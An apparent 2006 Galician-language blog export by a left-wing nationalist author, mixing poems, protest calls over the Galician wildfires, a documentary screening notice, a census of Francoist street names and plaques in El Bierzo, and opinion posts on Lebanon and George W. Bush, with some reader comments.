"Há seis anos que George W. Bush é ridicularizado polos círculos de esquerda do país. Mas agora, em lugar de rir-se da arrogáncia dos democratas, os republicanos se unem à esquerda para questionarem a respeito das façanhas intelectuais do presidente", disse Scarborough no site de seu programa, onde censura o mandatário por sua "falta de curiosidade intelectual".
Numerosos candidatos republicanos, em campanha para as eleiçons legislativas de Novembro, se distanciam da administraçom Bush sobre Iraque, enquanto vários editorialistas e comentaristas conservadores da televisom, os chamados "formadores de opiniom", começaram a lançar suas dúvidas.
----- COMMENT: AUTHOR: manuel [Membro] DATE: Thu, 24 Aug 2006 22:35:01 +0000 URL: https://www.rtp.pt/play/direto/antena1fadoMas que notícia é esta? Então não era isso?
Dicionário:
Imbecil: Bush.
O problema não está tanto em Bush como nas pessoas que o rodeiam.
----- -------- AUTHOR: Lugris TITLE: Memória Dignidade e Luita (II) BASENAME: memoria_dignidade_e_luita_ii DATE: Thu, 24 Aug 2006 05:49:04 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Aparece nos meios a projecçom hoje do documental. Podedes ver a notícia no web de NÓS-UP e no de Corrente Vermelha (acertadamente, titulam: "Galiza: NÓS-UP y Corriente Roja organizan proyección del video documental Memoria, Dignidad y lucha"). Também no Diário de Leom, que parece que querem boicotar o acto e dim que é para as 22'00h, e nom para as 20'00h. E também aparece no Mundo-Crónica de Leom, mas só na sua ediçom impresa.
----- -------- AUTHOR: Lugris TITLE: Memória Dignidade e Luita BASENAME: memoria_dignidade_e_luita DATE: Mon, 21 Aug 2006 21:57:32 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Esta Quinta-feira, 24 de Agosto, a partir das 20?00horas, na Casa da Cultura (Polígono das Hortas), em Ponferrada, projectará-se o documental ?Memória, Dignidade e Luita?, realizado polo colectivo La Plataforma , num acto organizado conjuntamente pola Assembleia Comarcal do Berzo de NÓS-Unidade Popular e a estrutura berziana de Corrente Vermelha.
O documental, é umha reflexom sobre a ?Transiçom democrática? ou a continuidade do franquismo por outras vias.
O documental realiza umha revisom desse processo que foi chamado ?Transiçom?, lembrando que o actual Rei e Chefe do Estado, o Bourbom Juan Carlos I, foi educado pola ditadura de Franco e nomeado polo ?Generalísimo?. Na sua apresentaçom, o colectivo responsável do documental explica como ?quando na televissom nos dam liçons de memória histórica, omitem que a transiçom nom foi mais que umha forma de afortalar o modelo económico capitalista (?) Figerom um franquismo sem Franco e o apresentarom como a chegada da democracia (?) A chegada da democracia é a história que escreverom os donos do dinheiro e os seus centinelas fascistas. Agora nós, os escravos em rebeldia, imos reescrever a história, romper a realidade imposta. Arrojar luz revolucionária sobre a escuridade franquista com a coerência dos que nem esquecem nem perdoam?.
A projecçom é gratuita, e aberta a todas as pessoas que queiram assistir. Posteriormente, celebrará-se um pequeno colóquio entre as pessoas asistentes.
----- -------- AUTHOR: Lugris TITLE: Maruja Malho no Berzo BASENAME: maruja_malho_no_berzo DATE: Mon, 21 Aug 2006 13:14:47 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Conhecemos hoje pola imprensa, que o Conselho Comarcal do Berzo, a única instituiçom que reconhece e recolhe a existência desta regiom, convoca o "Primeiro Certame de pintura Maruja Malho", com a Igualdade de Oportunidades entre Mulheres e Homens como temática de fundo, e fazendo parte das iniciativas desenvoltas dentro do II Planop de Igualdade de Oportunidades entre Mulheres e Homens da dita instituiçom.
O praço de apresentaçom de obras remata o 6 de Outubro, e estabelece um prémio de 600 euros para a pessoa ganhadora, e 400 euros para a finalista. Cada pessoa poderá participar com um máximo de duas obras, inéditas e originais.
Neste certame, poderam participar pintoras e pintores que tenham fixada a sua residência na regiom do Berzo ou em Viveiro (lugar de nascimento de Maruja Malho)
Todas as obras seram expostas ao público do 16 ao 29 de Outubro na Obra Social de "Caja España" em Ponferrada.
As bases podem ser recolhidas na sede do Conselho Comarcal ou na sua página web.
Quem conheça o Berzo, saberá que em Ponferrada se celebra um grande mercado todas as quartas e sábados: roupa, froita e demais produtos desta regiom, e, por suposto, música, é o que se pode atopar quem dedique os dias a caminhar um lugar que ocupa várias ruas, e que conserva o agradável sabor de antano.
Pois nese mercado, no típico posto de venda de CD's e DVD's, com a música a todo volume,... qual é umha das cançons que podemos escuitar cada quince ou vinte minutos?
Acertarom.
Compreendim tarde de mais
que nom era que tu nom fosses vir
Era que eu
nom ia estar
Várias dúcias de pessoas protestam em Ponferrada contra o lume, as suas causas e os seus responsáveis políticos
Umhas 50 pessoas participarom onte em Ponferrada na concentraçom convocada sob a palavra de orde "Lume, Nunca Mas!", para protestar contra o lume, as suas causas e os responsáveis políticos.
As pessoas convocantes, repartirom um manifesto no que reclamavam "mudanças claras e radicais na política ambiental, florestal e urbanística", ao tempo que criticavam "a passividade e falta de previssom institucional" por parte dos responsáveis políticos, fazendo-os culpáveis "dumha grande parte desta crise ecológica que estamos a sofrer".
Também figerom fincapé em denunciar a "emaranhada rede de intereses urbanísticos, madereiros, políticos e de todo tipo" que se encontram por tras da "actual campanha de lumes, que nom pode ser caracterizada mais que de terrorismo socio-ambiental". As pessoas participantes pedirom publicamente a colaboraçom doutras vilas e aldeias do Berzo, assim como de colectivos e organizaçons, na luita contra os incêndios florestais e na denúncia das autoridades políticas por nom asomir as suas responsabilidades.
----- -------- AUTHOR: Lugris TITLE: CONCENTRAÇOM ?LUMES NUNCA MAIS!? EM PONFERRADA BASENAME: concentracom_lumes_nunca_mais_em_ponferr DATE: Thu, 10 Aug 2006 21:39:35 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Sexta-feira, 11 de Agosto, a partir das 20?30h. na praça do Concelho, Ponferrada.
Um grupo de pessoas, conscientes da crítica e grave situaçom que estamos a viver na Comunidde Autónoma Galega e no Berzo pola grande quantidade de lumes, sem precedentes pola sua virulência e proliferaçom, que se estám a produzir este verao, decidimos recolher e somarmo-nos à iniciativa que em várias cidades galegas está já em marcha (onte, quarta-feira, houvo concentraçons em Vigo, Compostela, Corunha e outras cidades e aldeias), e convocamos umha concentraçom URGENTE de protesto contra os lumes, a suas causas e responsáveis e contra a ineptitude, falta de previssom e irresponsabilidade das diversas administraçons (estatais, autonómicas, provinciais, locais), que nom tomam cartas no asunto com a seriedade que deveriam. Somos conscientes de que umha emaranhada rede de intereses urbanísticos, madereiros, políticos e de todo tipo se encontram por tras da actual campanha de lumes, que nom pode ser caracterizada mais que de terrorismo socio-ambiental.
A passividade e falta de previssom institucional som responsáveis dumha grande parte desta crise ecológica que estamos a sofrer. Os sectores populares, a cidadania, as/os jovens, devemos sair à rua para reclamar JÁ mudanças claras e radicais na política ambiental, florestal e urbanística. A passividade durante os 12 messes do ano, e especialmente durante o inverno, que é quando se debe fazer a política de prevençom e limpeça e tratamento adequado dos montes, nom pode ficar sem crítica. HÁ RESPONSAVEIS E DEVEM ASOMIR AS SUAS RESPONSABILIDADES.
POR TODO ISTO, CHAMAMOS A PARTICIPAR, NA SEXTA-FEIRA DIA 11 DE AGOSTO, A PARTIR DAS 20?30H. NA PRAÇA DO CONCELHO DE PONFERRADA, EM UNHA CONCENTRAÇOM URGENTE DE PROTESTO BAIXO A LEGENDA?LUME NUNCA MAIS!?.
NOTA: Dado O carácter urgente com o que se convoca o acto, solicitamos a maior difussom possível a esta informaçom.
Muito obrigados/as por difundir esta convocatória.
A convocatória nos meios:
- No Diário do Berzo.
- No Diário de Leom.
Lá sentado
em cima do mundo
como tantos anos antes ou tantos anos depois
-como sempre-
entendim que finalmente
o que nos afastava e nos unia
era a mesma matéria
Exactamente
o mesmo conjunto de átomos que
artesanalmente alinhados
fazia possível toda aquela potência
que nos rodeia
e toda aquela energia
que nos distancia
Este é o fumo do incêndio de Finolhedo, visto desde a Campabranca, em Cabanas Raras. O lume parecia querer atacar Sancedo para depois chegar até nós.
----- -------- AUTHOR: Lugris TITLE: Perante a catástrofe ecológica BASENAME: perante_a_catastrofe_ecologica DATE: Tue, 08 Aug 2006 21:47:41 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:
NÓS-UP perante a catástrofe ecológica que padece Galiza polos incêndios florestais
Os interesses especulativos que pretendem marbelhizar umha boa parte da costa galega, assim como comarcas inteiras como a da Maía, nas proximidades de Compostela, estám por trás da maior vaga incendiária que padece a Galiza nos último quarenta anos. O novo governo autonómico carece de valentia para desafiar os interesses dos grupos económicos que obtenhem a madeira a baixíssimo preço e cujos porta-vozes aparecem nos média laiando-se cinicamente desta ?lacra?.
Mais um ano, arde o país polo fogo florestal, mas nesta ocasiom nom podemos dizer que polos quatro pontos cardeais. Chama a atençom que os incendiários estejam a concentrar a sua actividade terrorista no sul-oeste do território nacional, das Rias Baixas às serras costeiras, nas zonas mais densamente povoadas, onde os lumes som percebidos de jeito directo por mais de metade da populaçom do País. Também é salientável a vaga incendiária concentrada na capital e na sua comarca.
Estes dados objectivos levam a pensar que os incendiários procuram que a sensaçom de caos chegue directamente à maioría da populaçom. Mas nom só se procura gerar alarme e pánico.
Os interesses especulativos que pretendem marbelhizar umha boa parte da costa galega, assim como comarcas inteiras como a da Maía, nas proximidades de Compostela, estám por trás da maior vaga incendiária que padece a Galiza nos último quarenta anos.
O lume florestal é utilizado para arrasar com a massa florestal e com todo o tipo de terrenos rústicos, com o fim de facilitar a construçom desaforada que define o urbanismo na Galiza. A morna legislaçom da ?Lei de Montes? nom só permite estas práticas, senom que o seu incumprimento pola maioria das Cámaras Municipais facilita que, todos os anos, umha boa parte da superfície florestal galega passe a ser cinza para depois levantar prédios e urbanizaçons.
Mas, se aqui radica a principal causa da queima do monte, esta nom é unívoca. Sem dúvida, a política tendente a mudar as práticas caciquistas e clientelares de muitos concelhos na contrataçom do pessoal das quadrilhas pola sua gestom centralizada a nível autonómico, sementou ressentimento entre tantos ?estômagos agradecidos?. Algumha detençom nos últimos dias aponta neste sentido.
De resto, o problema responde a causas estruturais que pouco ou nada mudárom. Em primeiro lugar, a política florestal de culto ao cultivo florestal-industrial curto-prazista, iniciada com a expropriaçom dos montes comunais durante o franquismo, e continuada na era Fraga, é apoiada polos oligopólios da madeira triturada e a celulose (ENCE, TAFISA, FIMSA), e impulsionada polo círculo de influência do PP (Jovens Agricultores, Silvanus, Associaçom Florestal da Galiza), e do PSOE (AFRIFOGA), que insiste na confusom interessada entre bosque e massa florestal. Pois enquanto o primeiro nom deixa de diminuir, a segunda nom deixa de aumentar em forma de monocultivos de espécies alóctones (pinheiros e eucaliptos), que ocupam os agros onde esmorece a actividade agrícola.
O novo governo autonómico carece de valentia para desafiar os interesses dos grupos económicos que obtenhem a madeira a baixíssimo preço e cujos porta-vozes aparecem nos média laiando-se cinicamente desta ?lacra?.
As políticas das Conselharias atingidas seguem a estar influídas por concepçons que nom questionam o modelo herdado. Assim, há poucos meses, anunciavam-se subsídios às repovoaçons de pinheiros, e exigia-se a ?limpeza? do mato, medida tam difícil como custosa e indesejável, de nefastas conseqüências ecológicas, fruto dumha anacrónica focagem que pretende substituir o aproveitamento integral do monte no passado, e dar saída à massa orgánica ?sobrante?, num cenário completamente distinto, onde a populaçom rural vive em grande parte alheia e desligada do meio, e desordenadamente estabelecida, com massas arbóreas plantadas arredor das casas e casas ?plantadas? no meio de massas arvóreas.
As soluçons a este grave problema ecológico e socioeconómico que arrasta a Galiza desde há mais de três décadas som de carácter estrutural: passam por umha nova política integral que recupere o rural, viabilizando-o económica e socialmente, que modifique radicalmente a política florestal imposta polo grande capital. Porém, é necessário fazer frente agora e aqui à destruiçom planificada do monte.
O actual governo bipartito PSOE-BNG tem responsabilidades directas no actual desastre que padece a Galiza, com mais de cem incêndios diários, que já provocárom três mortes, a destruiçom de mais de 25.000 hectares, a angústia e o terror em milhares de famílias que vem ameaçaads as suas vivendas e propriedades, o corte de estradas, caminhos de ferro e outras vias de comunicaçom.
O País continua sem meios terrestres e aéreos suficientes para paliar a acçom dos incendiários. Sem recursos profissionalizados para combater o fogo. A improvisaçom e carência de meios, e sobretodo a continuaçom da estratégia aplicada polo PP nos 15 anos de fraguismo, dam como resultado a actual catástrofe.
NÓS-UP solicita responsabilidades directas, pola actual situaçom que vive umha boa parte da populaçom galega, ao governo de Tourinho-Quintana, que se move entre o vitimismo e a resignaçom paralisante de Soares Canal e o triunfalismo de Tourinho, que afirma que todo está sob controlo.
Há que agir com firmeza e determinaçom, sem negar as evidêncais que todo o mundo sabe e conhece.
NÓS-UP apela à movimentaçom social para denunciar e pressionar às autoridades autonómicas na mudança radical de políticas que perpetuam a destruiçom dos nossos montes, e a adopçom de medidas excepcionais para cortar de raíz a vaga de incêndios.
Permanente Nacional de NÓS-UP
Galiza, 8 de Agosto de 2006
----- -------- AUTHOR: Lugris TITLE: BASENAME: title_147 DATE: Tue, 08 Aug 2006 15:14:10 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY: ----- -------- AUTHOR: Lugris TITLE: Bandeira do Berzo e quinta-feira BASENAME: bandeira_do_berzo_e_quinta_feira DATE: Mon, 07 Aug 2006 14:25:36 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Mágoa nom esteja em galego esta iniciativa do Foro Cultural pola província do Berzo!
----- -------- AUTHOR: Lugris TITLE: A minha língua quero na tua boca BASENAME: a_minha_lingua_quero_na_tua_boca DATE: Mon, 07 Aug 2006 00:41:27 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Levo vários anos a escrever este poema. Mais umha versom hoje.
A minha língua quero na tua boca
e nos teus lábios nos teus peitos
E no país inteiro do teu sexo
falar com o idioma que nos pertence
Procurar a humidade com a língua que nos une
para dar-lhe nome ao teu corpo
e repetir em cada rio em cada bosque
em cada outeiro da tua geografia
a promessa de quem ama sem palavras
Com o silêncio das estrelas, tam longínquo e singelo
Umha possível versom completa (com ilustraçons gratuitas):
Quero escrever na tua pele
o panfleto do meu amor
e arengar o teu cabelo
mobilizar as tuas maos
Berrar com a força dos teus olhos
que a revoluçom está em marcha
no desejo
e no sexo
Quero sair às ruas do teu corpo
com a tua roupa de bandeira
e solicitar reclamar exigir
silêncio
para escutar as proclamas
da nossa respiraçom
Quero ser militante dos teus peitos subversivos
e atacar directamente
ali onde mais gosta
e tomar por assalto o palácio de inverno
das tuas pernas
enquanto tu preparas
a ofensiva final
A minha língua quero na tua boca
e nos teus lábios nos teus peitos
E no país inteiro do teu sexo
falar com o idioma que nos pertence
Procurar a humidade com a língua que nos une
para dar-lhe nome ao teu corpo
e repetir em cada rio em cada bosque
em cada outeiro da tua geografia
a promessa de quem ama sem palavras
Com o silêncio das estrelas, tam longínquo e singelo
Estava eu procurando um poema que escrevi há algum tempo. Encontrei o seu - o tema é o mesmo, o desenvolvimento difere. Logo que o encontrar deixarei como um comentário.
Abraços,
lindíssimo poema! lindíssimo, mesmo!
Visite meu blog: “Poemas de amor-paixão-sedução":
http://silviamotapoeta.blogspot.com
Ou, se preferir, visite meu site na área do Direito:
htp://www.silviamota.com.br
Abraços.
Sílvia Mota.
Tiro directamente do resistir.info esta informaçom, sem mais comentários.
EDUCAÇÃO PARA O ÓDIO
Crianças de Israel escrevem mensagens sobre munições de artilharia pesada em Kiryat Shmona, próximo à fronteira libanesa. Munições que irão assassinar outras crianças, do lado de lá da fronteira.
Nem a juventude hitleriana conseguira imaginar tal perversidade.
Con certeza, nengum meio de comunicaçom de massas ocidental titularam assim nengumha das suas notícias sobre os ataques sionistas contra o Líbano. Possivelmente, nengum desses meios recolherá tam sequera como notícia essa verdade. Mas esse titular é verdade. Ou nom de todo: se calhar, a estas horas, quando este comentário está a ser escrito, ou quando está a ser lido, a cifra será já muito maior.
O dado nom é inventado, nom é fornecido por nengumha página subversiva de internet, nom é umha informaçom tirada dos meios de comunicaçom libaneses: é um dado das Naçons Unidas, que asegura que quando menos (a dia 2 de Agosto), ascendia a 177 o número de crianças assassinadas polo estado de Israel nos seus ataques contra o Líbano, e que as vítimas infantis constituem a terceira parte dos mais de 3000 feridos por esses criminosos bombardeios desde 12 de Julho passado.
Mentras tanto, a tam cacarejada "comunidade internacional" (quer dizer, os estados ocidentais, com Estados Unidos e os da Uniom Europeia em cabeça), miram para outro lado, procuram cento e umha excusas para nom condenar a Israel e obrigá-la a cessar nos ataques, e siguem a bombardear-nos com a ladainha do fundamentalismo, integrismo e terrorismo de Hizbollah.
Poderemos sequera imaginar que sucederia se nos próximos 30 dias, umha organizaçom fortemente armada, treianada e financiada, atacara com bombas em diversos pontos Estados Unidos (ou qualquer país europeu, por exemplo, o Estado espanhol), e causará a morte de 177 crianças? É que a vida das pessoas no Líbano vale menos que a vidas das pessoas nas nossas ruas ocidentais? Nom respondam. Era umha pergunta retórica. A resposta é "Sim, claro que sim".
----- -------- AUTHOR: Lugris TITLE: Mensagens ocultas n'A última ceia BASENAME: mensagens_ocultas_n_a_ultima_ceia DATE: Sun, 06 Aug 2006 23:38:07 +0000 STATUS: publish PRIMARY CATEGORY: Catecismo CATEGORY: Escrever nom é mau TAGS: ----- BODY:Aquela noite Jesus nom durmiu bem
era como se escoitara vozes no seu interior
Pensou que seria o churrasco da ceia
Ao dia seguinte
Jesus reuniu e falou aos seus discípulos
dizendo
"Mirade
isto nom vai bem
Quando organizo umha ceia aparece todo cristo
mas despois todo som desculpas
Pois a de onte foi a última"
Todos escoitarom atentos
"Logo sempre é a minha mae
que é umha santa
quem tem que recolher e fregar todo
E vós quê?
Um que si vai procurar umha barca
outro que a edificar nom-sei-o-quê sobre umha pedra
Todo excusas para nom arrimar o hombro
E o pior é o do tipo esse que só bebe Judas
que lhe dim 30 pesos para mercar o pam
e ainda nom voltou"
Estavam atónitos
"Pois se vós nom ponhedes algo da vossa parte
eu nom estou disposto a sacrificar-me"
Placa fascista na colegiata de Vila Franca do Berzo
NÓS-Unidade Popular tem realizado nos últimos meses umha intensa campanha de denúncia da simbología fascista que ainda está presente nas nossas cidades, nas nossas vilas, nas ruas, no parques, em inumeráveis edifícios, nos colégios e liceus,...
Recentemente, tem publicado, último número da sua revista, Voz Própria, um censo (incompleto) dessa simbología fascista ainda presente na Galiza. Nestes dias, pendurarom do seu web esse censo, explicando que
"já está disponível no nosso web o censo da simbologia fascista (incompleto) que ainda está presente a dia de hoje nas ruas do nosso País. O censo está incluido na reportagem sobre a campanha contra o imaginário fascista que está a realizar a nossa organizaçom, e que foi publicada no último número do nosso vozeiro nacional Voz Própria. Podes pôr-te em contacto com nos para ajudar-nos a completa-lo".
Som várias as localidades do Berzo recolhidas nesse censo onde ainda, a dia de hoje, diversa simbología fascista está presente. Ainda que podedes ver o listado completo no seu web, nom quero deixar de reproducir aqui a parte do censo referida ao Berzo, que, como vedes, nom é pequena. Nas nossas maos, e com os meios que consideremos oportunos, está o fazer desaparecer, ou contribuir para fazer desaparecer, essa simbologia.
- Bembibre
:: Rua José Antonio.
- Cacabelos
:: Rua Alferes Provisional.
:: Rua Capitám Cortés.
- Congosto
:: Placa fascista na igreja de Sam Miguel das Donas.
:: Placa fascista na igreja de Congosto.
- Fabero
:: Placa fascista na igreja.
- Magaz de Abaixo
:: Rua Queipo de Llano.
- Molinha Seca
:: Avenida Manuel Fraga Iribarne.
- Palácios do Sil
:: Avenida Generalíssimo.
:: Rua General Aranda.
- Ponferrada
:: Escudo franquista no colégio do Passeio de Santo António.
:: Cruz dos Caídos no Passeio de Santo António.
:: Vidraça com escudo franquista na igreja da Azinheira,
:: Placa com o nome de praça de Comandante Manso na actual praça de Fernando Miranda.
:: Placa fascista na igreja de Sam Estevo.
:: Rua Comandante Zorita.
:: Ponte García Ojeda.
- Pousada do Berzo
:: Rua Generalísimo.
:: Rua José Antonio.
- Toreno
:: Placa fascista na igreja de Toreno.
- Trabadelo
:: Praça Comandante Manso.
- Truchas
:: Rua José Antonio.
- Vila de Cais
:: Placa fascista na igreja.
- Vila Franca do Berzo
:: Placa com cuzifixo e listagem dos ?caídos? no lateral da colegiata.
:: Avenida Calvo Sotelo.
:: Avenida Comandante Manso.
:: Praça do Generalísimo.
Quero destacar que também fai parte desse censo, recolhendo portanto todo o território nacional da Galiza, simbología fascista ainda presente na comarca galega do Návia-Eu, e que recolhemos pola sua especial significaçom:
Terra Návia-Eu
- Castropol
:: Rua General Franco (As Figueiras).
- Santalha de Oscos
:: Cruz dos "caídos" na igreja de Santalha.
- Tápia de Casarego
:: Avenida General Primo de Rivera.
:: Rua Conrado Villar.
:: Rua Francisco Franco.
:: Rua Comandante Ceano Vivas.
Já a própria organizaçom titula o censo como "incompleto", e seguro que muita gente poderá fornecer de novos dados que contribuam a ir ampliando essa lista e poder avançar na conseqüente denúncia das homenagens ao fascismo. Eu, para começar, aportarei um novo dado para essa lista: a enorme placa que na sala de túrbinas dos grupos 1, 2 e 3, da central térmica de Endesa em Cubilhos recolhe a inauguraçom da mesma por parte do "Caudilho de Espanha pola graça de Deus". Estou certo de que se contaram por dúzias as fábricas e empresas de toda Galiza que contam com umha placa semelhante.
----- COMMENT: AUTHOR: Felix Leiter [Visitante] DATE: Mon, 07 Aug 2006 18:04:45 +0000 URL:Placa dedicada a don Manuel Fraga Iribarne en Manatí, Oriente, Cuba
----- COMMENT: AUTHOR: ocorral [Membro] DATE: Sun, 06 Aug 2006 23:25:45 +0000 URL:Fazer umhas marchas no outono, polas ruas e praças com isses nomes. E dizer quem eram isses individuos e os seus assassinatos
----- -------- AUTHOR: Lugris TITLE: Fusquenlha BASENAME: fusquenlha DATE: Tue, 01 Aug 2006 22:05:57 +0000 STATUS: publish PRIMARY CATEGORY: B.S.O. da memória CATEGORY: Gz é bem pequena TAGS: ----- BODY:Como gocei com este disco no Artefacto Burbur... Nom podia menos que recuperá-lo, agora que os da Regueifa o recuperam. Mais que recomendável.
"Recuperamos para a sección de vellas músicas o único traballo de Fusquenlha, un fugaz proxecto, nascido ao abeiro da explosión de música electrónica da segunda metade da década dos 90, que non pasou dun único concerto e a inclusión dun tema no compilatorio Revolta Sonora. Con letras altamente politizadas e influidos por formacións coma Massive Attack, Asian Dub Foundation, Junkie XL, Atari Teenage Riot, Meat Beat Manifesto, Freestylers ou Portishead gravaron estes dez temas que agora vos oferecemos remasterizados".
----- -------- AUTHOR: Lugris TITLE: Pam elástico BASENAME: parvoices DATE: Mon, 31 Jul 2006 18:04:40 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:É increível a rapidez com a que as parvoices ocupam os espaços...
----- -------- AUTHOR: Lugris TITLE: Eu também... BASENAME: eu_tambem_1 DATE: Mon, 31 Jul 2006 15:39:34 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: O Livro das Confusons TAGS: ----- BODY:Eu também quereria ser luz
quereria ser metal no fundo do mar
eu também
Ser esse pequeno ruído que nos acorda
essa insignificante onda acústica
que nos fai volver a cabeça
ou aquel momento exacto
onde escolhemos
onde dizemos
onde fazemos aquilo que sabemos
Eu também quereria ser luz
Como essa luz que te ilumina
essa luz que caminha contigo
que tu deixas caminhar contigo
ou que tu nem tam sequer sabes que caminha contigo
Ser esse metal que do fundo do mar
nos fai pensar
ou nos fai sonhar
ou nos fai viajar
ou te ilumina quando apareces andando no extremo de umha rua
ou no recanto de umha praça
E nom esta distáncia
esta terrível sensaçom de estar fora
de nom ser
de nunca jamais fazer parte
Esta obscura negaçom da possibilidade
que se estende vertiginosamente
oferecendo só o caminho da fugida e a derrota
(d'O livro das confusons)
----- -------- AUTHOR: Lugris TITLE: "Olho para as leitugas" BASENAME: olho_para_as_leitugas DATE: Mon, 31 Jul 2006 15:07:52 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:(Também publicado no velho blog)
Olho para as leitugas
enquanto boto água nas fendas da memória
e co sacho golpeio docemente
cada umha das palavras que rodeiam esta casa
"Parabéns"
berram os gatos todos os gatos do mundo
enquanto sigo a cair polo precipício
e oito galinhas cantam
a coro
a melodia das casas habitadas
Um cam dorme diante da porta
aberta
Lentamente
esqueço as horas
os minutos os segundos
até chegar a esta pequena sensaçom de calor
Talvez todo seja arrastar palavras
dum lado para outro
sem cessar
até que alguém escuite
e entom ficar em silêncio
Para sempre
Confundim-me
ou enganárom-me
Eu queria solicitar um dos postos de músico
Acordeom
guitarra
ou bateria
Tanto me tinha um como outro
Eu nom tenho nem ideia de música
e penso que só umha vez vim um acordeom a menos de 100 metros
Mas pensei que isso teria possibilidades
Possibilidades de fugir
digo
Estar aí
com o acordeom com a guitarra com a bateria
sem chamar a atençom
e em qualquer momento
zás!
Fugir
Escapar
Evadir-me
isso é
Exactamente isso
Evadir-me
Eu escuitara em algum lado que a vida do músico
polo geral
é daquela maneira
já se sabe
mais relaxada
menos rígida
sem tanta vigiláncia e controlo
e pensei que numha dessas
entre notas partituras e semicolcheias
que eu nom sabia nem o que eram
e continuo sem saber
numha dessas
aproveitava eu
e...
A evasom
A escapada
A fugida
Eu por isso queria solicitar um dos postos de músico
Saber
o que se di saber
de música nom sei grande cousa
Mas nom som parvo
e podia aprender
Também aprendim a manejar a vassoira
a esfregar as janelas do quarto andar
que só abrem para fora e ninguém se atrevia
e a levar a roupa à lavandaria
que som o único de toda a minha secçom
a quem lhe deixam levar a roupa à lavandaria
Também podia aprender algo de música
E por isso fum pedir os papéis para solicitar um posto
Mas confundírom-me
ou enganei-me
e preenchim os papéis para o posto de operário jardineiro
E cá estou
sem poder sair destes muros
tam cinzentos
arrancando as ervas más que medram
tam verdes
nos jardins deste centro
tam psiquiátrico
(d'O livro das confusons)
----- COMMENT: AUTHOR: Corral Iglesias [Visitante] DATE: Sat, 29 Jul 2006 17:55:21 +0000 URL:Grazinhas por escrever estas cousas.
Corral
----- -------- AUTHOR: Lugris TITLE: Casa Skylab* BASENAME: casa_skylab DATE: Fri, 28 Jul 2006 18:00:51 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Bi-lhei TAGS: ----- BODY:(Mira cá umha explicaçom sobre este texto)
Quando se nega o dia a escalar o corpo dos altos edifícios
mostrando fragmentos de estrelas proibidas
onde a penas existem feridas que se esquecem
porque nos arrodean os poldros perdidos da brétema
Alta cidade tinguida pola névoa
Na cidade chove em amarelo
umha água fresca que me encelma a língua
e umha música lonxana esvaendo-se
Desde a opaca pátina do balcom pechado
no abissal fundo dos oceanos
venhem lentas as fías dos remorsos
No meio da rua
grosseira inculta e pouco delicada
em um jardin que tarde ou cedo há engolir o asfalto
memória do que queremos esquecer
ainda há algo a reclamar-nos
Som tempos de olhar a chuva
invernía no lento fluír dos almanaques
Será a emoçom quanto vale nesta terra?
De cada cidade agroma o aroma dum mistério
fronte ao mar equivocado
Como sei que ti e eu nos queremos
* O poema é meu, o título de Santiago Jaureguizar e os versos de: Celso Álvarez Cáccamo, Luisa Villalta, Miro Villar, Anxo Angueira, Xohana Torres, Fran Alonso, Antón Avilés de Taramancos, Xosé Luís Santos Cabanas, Yolanda Castaño, José Alberte Corral Iglesias, Ana Romani, Emma Couceiro, Lois Pereiro, Pilar Pallarés, Marta Dacosta, X. Antón L. Dobao, Eduardo Estévez, Carlos Negro, Estíbaliz Espinosa, Alberte Momán, Franck Meyer, Maria Lado.
----- -------- AUTHOR: Lugris TITLE: Torradeira do pam BASENAME: torradeira_do_pam DATE: Fri, 28 Jul 2006 17:58:31 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:(Outro texto do velho blog)
Umha das vezes
a voz saiu da torradeira do pam
Já sabedes
esse aparelho que torra o pam
com umhas resistências eléctricas
Ele
como todas as manhás
ia almoçar
e meteu as fatias de pam na torradeira
e carregou no botom
Nesse momento
a torradeira começou a falar
"Nego-me a acreditar nos venenos. Desde a conquista espanhola o meu povo ri idiotamente por umha grande ferida. Quase sempre é de noite..."
Ele gostava do pam no seu ponto justo
No que ele considerava o seu ponto justo
3 minutos
Aos 3 minutos as fatias de pam saltárom
e a torradeira deixou de falar
Ficara os três minutos absorto
a escuitar a torradeira
Sem pensar
pegou em duas novas fatias e meteu-nas na torradeira
Carregou no botom
Novamente falava
"O viageiro encaminha-se através da espiral embora nom
lembra quando e onde penetrou.
Supom que o caminho tem forma de espiral..."
Novamente aos 3 minutos saiu o pam quente
torradinho
tal e como ele gosta
Instintivamente
deu-lhe à rodinha até os 6 minutos
"O pam sairá mais torrado"
pensa
"mas a voz nom parará tam rápido"
Mete as fatias
desejoso de ouvir novamente aquela voz
espectacularmente preciosa
que lhe fala
a ele
Carrega no botom
Passam as horas
A escuitar a voz
e a pensar na sorte de ter mercado
ontem mesmo
dous pacotes de pam de forma
Vou começar a colar algumhas cousas que apareciam no antigo blog, e que gostaria de ver neste.
Andivemos a jogar na escola com a literatura, e isto foi algumhas das cousas que escrevim. Tratava-se de continuar o escrito em negrito.
O médico remata de examinar-me e tranqüilizar-me: nom é grave, numha semana estarei bem. Eu desconfio. Quando me fala fai-no como se nom falara comigo. Como se falará só.
Além do mais, na porta do seu gabinete há um cartaz que di: "Dr. Rodríguez. Médico-forense".
Num pequeno povo de Escócia vendem livros com umha página em branco perdida polo meio do volume. Todo o mundo pensa que detrás se agacha um grande mistério, mas o único certo é que o dona da imprensa despediu ao revisor das provas e já nom tem ninguem que controle os trabalhos que se fam na sua empresa.
Outro dia, mais.
